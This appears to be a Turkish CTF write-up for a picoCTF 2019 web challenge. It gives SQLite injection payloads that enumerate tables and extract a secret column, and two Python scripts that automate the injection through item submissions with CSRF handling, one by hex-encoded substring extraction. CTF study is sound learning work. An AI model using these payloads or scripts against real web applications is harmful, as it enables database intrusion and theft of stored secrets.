SQL enjeksiyonu kontrolü için forma

'||(SQL)||'

Sunucu hatasını gördüğümde sql kod çalıştırılabileceğini görmüş  olduk. Bundan sonra sql kodları deneyerek sorudaki bahsedilen gizli şifreyi aramak gerekiyor. Bunun için toolda kullanılabilir.

'||(select tbl_name FROM sqlite_master WHERE type='table' limit 0,1 COLLATE NOCASE)||'

burada user tablosunun olduğunu gördük.

'||(select sql FROM sqlite_master WHERE type='table' limit 1,1 COLLATE NOCASE)||'

tablodaki alanların listesini aldık. secret alanı dikkatimizi çekti.

'||(select secret FROM user where secret like '%picoCTF%' limit 0,1 COLLATE NOCASE||'

veya

' || (SELECT group_concat(secret) FROM user) || '

user tablosundan bayrağı çekiyoruz.

Şimdi Bunlarla ilgili scriptler; Bu Scriptler düzenlenecek???????

script1.py:

import re
import html
import requests
from cmd import Cmd
from bs4 import BeautifulSoup

class Empire1(object):
    BASE_URL = "https://2019shell1.picoctf.com/problem/32160"
    
    def __init__(self):
        self.session = requests.Session() 
        
    def login(self, username, password):
        text = self.post(self.BASE_URL + "/login", {"username": username, "password": password})
        if "Invalid username or password" in text:
            raise Exception("Can't login")

    def post(self, uri, data):
        r = self.session.get(uri, headers = {"Referer": uri})
        csrf = self.get_csrf_token(r.text)
        d = {"csrf_token": csrf}
        d.update(data)
        r = self.session.post(uri, data = d, allow_redirects = True, headers = {"Referer": uri})
        if r.status_code != 200:
            raise Exception("Can't post to '{}'".format(uri))
        return r.text

    def add_item(self, item):
        text = self.post(self.BASE_URL + "/add_item", {"item": item})
        if "Item Added" not in text:
            raise Exception("Can't add item '{}'".format(item))

    def get_last_item(self):
        r = self.session.get(self.BASE_URL + "/list_items")
        parsed_html = BeautifulSoup(r.text, "lxml")
        return parsed_html.body.find_all('div', attrs={'class':'well well-sm'})[-1].findChildren("li" , recursive=False)[0].get_text().replace("Very Urgent: ", "")


    def get_csrf_token(self, html):
        token = re.search(r'<input id="csrf_token" name="csrf_token" type="hidden" value="([^"]+)">', html, re.MULTILINE)
        if token is None:
            raise Exception("Can't find CSRF token")
        return token.group(1)

class MyPrompt(Cmd):
    def __init__(self):
        Cmd.__init__(self)
        self.site = Empire1()
        self.site.login("user", "password")
        print "Logged in"

    def do_exit(self, inp):
        return True
 
    def do_send(self, param):
        q = "'||({})||'".format(param)
        self.site.add_item(q)
        print self.site.get_last_item()
 
MyPrompt().cmdloop()

script2.py:

#-*- encoding: utf-8 -*-

import string
import requests
import random
import re
import binascii
from html.parser import HTMLParser

letters = string.ascii_letters + string.digits


class Flask(object):
    def __init__(self):
        self.s = requests.Session()
        self.s.proxies = {
            "http": "socks5://127.0.0.1:1080",
            "https": "socks5://127.0.0.1:1080",
        }
        self.url = "https://2019shell1.picoctf.com/problem/32160"
        self.username = "".join([random.choice(letters) for i in range(0x10)])
        self.password = "".join([random.choice(letters) for i in range(0x10)])
        self.regster()
        self.login()

    def regster(self):
        path = "/register"
        r = self.s.post(self.url + path, data={
            'csrf_token': self.get_csrf_token(path),
            'username': self.username,
            'name': self.username,
            'password': self.password,
            'password2': self.password,
            'submit': 'Register',
        }, timeout=2)

    def login(self):
        path = '/login'
        r = self.s.post(self.url + path, data={
            'csrf_token': self.get_csrf_token(path),
            'username': self.username,
            'password': self.password,
            'submit': 'Sign In',
        }, timeout=2)

    def get_csrf_token(self, path):
        r = self.s.get(self.url + path, timeout=2)
        csrf_token = re.search('<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">', r.text)
        if csrf_token:
            return csrf_token.group(1)

    def add_item(self, item):
        path = '/add_item'
        r = self.s.post(self.url + path, data={
            'csrf_token': self.get_csrf_token(path),
            'item': item,
            'submit': 'Create',
        }, timeout=2)
        if r.status_code == 500:
            return None
        else:
            rep = self.list_items()
            return rep[-1]

    def list_items(self):
        r = self.s.get(self.url + '/list_items', timeout=2)
        items = re.findall('<li>\\s*<strong>Very Urgent:</strong>\\s*(.*)\\s*</li>', r.text)
        items = list(map(lambda x: HTMLParser().unescape(x).strip(), items))
        return items


def brute_force(flask, payload):
    result = ""
    length = int(flask.add_item("'+length((%s))+'" % payload))
    payload = "'+hex(hex(substr((%s),{},4)))+'" % payload
    i = 1
    while i <= length:
        try:
            rep = flask.add_item(payload.format(i))
            #print(i, rep)
        except:
            rep = False

        if rep:
            result += binascii.unhexlify(binascii.unhexlify(rep).decode('utf-8')).decode('utf-8')
            print(result)
            i += 4
    print("Result:", result)


def main():
    f = Flask()
    brute_force(f, "SELECT name FROM sqlite_master WHERE type='table'")
    brute_force(f, "SELECT sql FROM sqlite_master WHERE type='table'")
    brute_force(f, "SELECT admin FROM user WHERE username='%s'" % f.username)
    brute_force(f, "SELECT secret FROM user WHERE username='%s'" % f.username)
    while True:
        payload = input("Payload: ")
        try:
            rep = f.add_item(payload)
        except:
            rep = False
        print("Respone:", rep, end="\n\n")


if __name__ == '__main__':
    main()

 

kodları güzel yazmışlar ama bir kaç eksik var vakit bulunca inceleyecem. ikiside aynı işi yapıyor.